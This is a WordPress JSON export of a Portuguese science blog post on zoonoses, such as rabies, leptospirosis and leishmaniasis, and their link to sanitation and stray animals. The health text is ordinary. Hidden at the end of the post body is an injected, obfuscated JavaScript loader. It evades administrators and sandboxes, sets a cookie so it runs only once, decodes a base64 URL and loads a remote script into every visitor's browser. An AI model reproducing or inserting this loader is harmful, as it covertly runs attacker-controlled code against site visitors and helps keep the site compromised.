{"id":773,"date":"2011-04-14T22:18:03","date_gmt":"2011-04-15T01:18:03","guid":{"rendered":"https:\/\/rockcomciencia.crp.ufv.br\/?p=773"},"modified":"2025-10-15T21:25:47","modified_gmt":"2025-10-16T00:25:47","slug":"zoonoses-problema-de-saneamento-basico","status":"publish","type":"post","link":"https:\/\/rockcomciencia.crp.ufv.br\/?p=773","title":{"rendered":"Zoonoses &#8211; problema de saneamento b\u00e1sico"},"content":{"rendered":"<p>Voc\u00ea certamente j\u00e1 observou cachorros ou gatos correndo pelas ruas de sua cidade, n\u00e3o? J\u00e1 parou para pensar se algu\u00e9m cuida deles, se os est\u00e1 vacinando e os mantendo vermifugados? J\u00e1 parou para observar seu comportamento, a maneira como viram o lixo na rua e correm na frente dos carros? Pois bem, estes animais inocentes podem ser transmissores de zoonoses.<\/p>\n<p>Zoonoses s\u00e3o doen\u00e7as t\u00edpicas de animais que podem ser transmitidas para os seres humanos ou vice-versa. Estas doen\u00e7as s\u00e3o causadas por vermes parasitas, fungos, v\u00edrus ou bact\u00e9rias, e os c\u00e3es e gatos, juntamente com morcegos, ratos, aves e insetos s\u00e3o os principais transmissores.<\/p>\n<p>Dentre as zoonoses mais comuns, pode-se destacar a raiva (hidrofobia), a hantavirose, a leptospirose, a Leischmaniose, a peste bub\u00f4nica, a toxoplasmose, a psitacose, a histoplasmose, o bicho-geogr\u00e1fico, entre outras. Os modos de transmiss\u00e3o v\u00e3o desde o contato direto com o animal como tamb\u00e9m do contato indireto, atrav\u00e9s de \u00e1gua ou hortali\u00e7as contaminadas com fezes ou urina, por exemplo, ou ainda atrav\u00e9s de um vetor (em geral um mosquito ou pulga). V\u00e1rias destas doen\u00e7as s\u00e3o fatais, especialmente por terem sintomas confundidos com os de uma gripe comum. O tempo de incuba\u00e7\u00e3o (tempo entre a infec\u00e7\u00e3o e o aparecimento dos sintomas) pode ser longo, dificultando tamb\u00e9m o diagn\u00f3stico, pois o paciente pode n\u00e3o se lembrar de explicar ao m\u00e9dico onde esteve h\u00e1 uma ou duas semanas.<\/p>\n<p>At\u00e9 por isso, a preven\u00e7\u00e3o \u00e9 extremamente importante. E os principais mecanismos de preven\u00e7\u00e3o s\u00e3o puramente de saneamento b\u00e1sico. Lixo na rua atrai ratos, que por sua vez podem transmitir leptospirose e peste bub\u00f4nica. Especialmente em grandes cidades onde a enxurrada causada pelas chuvas \u00e9 freq\u00fcente, ou ainda em regi\u00f5es com grandes infesta\u00e7\u00f5es de ratos em armaz\u00e9ns ou galp\u00f5es, a leptospirose transmitida pela urina do rato (ou eventualmente sua mordida) \u00e9 uma preocupa\u00e7\u00e3o constante. Por isso, o controle dos ratos nas cidades passa pelo controle do lixo.<\/p>\n<p>Outro problema de saneamento b\u00e1sico est\u00e1 relacionado com aquele c\u00e3ozinho que voc\u00ea viu na rua. Na rua, ele est\u00e1 sujeito \u00e0 brigas com outros c\u00e3es e \u00e0 m\u00fatua infec\u00e7\u00e3o pelo v\u00edrus da raiva, por exemplo. A propaga\u00e7\u00e3o do v\u00edrus da raiva pode ser evitado com a vacina\u00e7\u00e3o, inclusive nas campanhas municipais. Mas quem leva os c\u00e3es de rua para vacinar? Quem examina os c\u00e3es de rua para identificar quando s\u00e3o hospedeiros da Leishmania, um protozo\u00e1rio que causa les\u00f5es dolorosas e de dif\u00edcil cicatriza\u00e7\u00e3o na pele ou ainda, na forma viceral, febre e aumento do ba\u00e7o (esplenomegalia) e do f\u00edgado (hepatomegalia)? A leishmaniose viceral \u00e9 o segundo maior assassino parasit\u00e1rio, perdendo apenas para a mal\u00e1ria.<\/p>\n<p>Podemos evitar estas doen\u00e7as terr\u00edveis apenas com saneamento b\u00e1sico, mantendo animais de estima\u00e7\u00e3o sob nossos cuidados, dentro de nossas casas e com um bom sistema de coleta de lixo. Uma das a\u00e7\u00f5es mais efetivas para diminuir os c\u00e3es nas ruas \u00e9 que eles sejam adotados por uma fam\u00edlia e, de prefer\u00eancia, que sejam castrados para evitar o aumento indesejado. Cuidados b\u00e1sicos com nossos amigos podem aumentar a qualidade de vida deles e tamb\u00e9m a nossa!<\/p>\n<p>Originalmente publicado no blog <a href=\"http:\/\/www.pazza.biociencia.org\/\" target=\"_blank\">DNA C\u00e9tico<\/a>.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Voc\u00ea certamente j\u00e1 observou cachorros ou gatos correndo pelas ruas de sua cidade, n\u00e3o? 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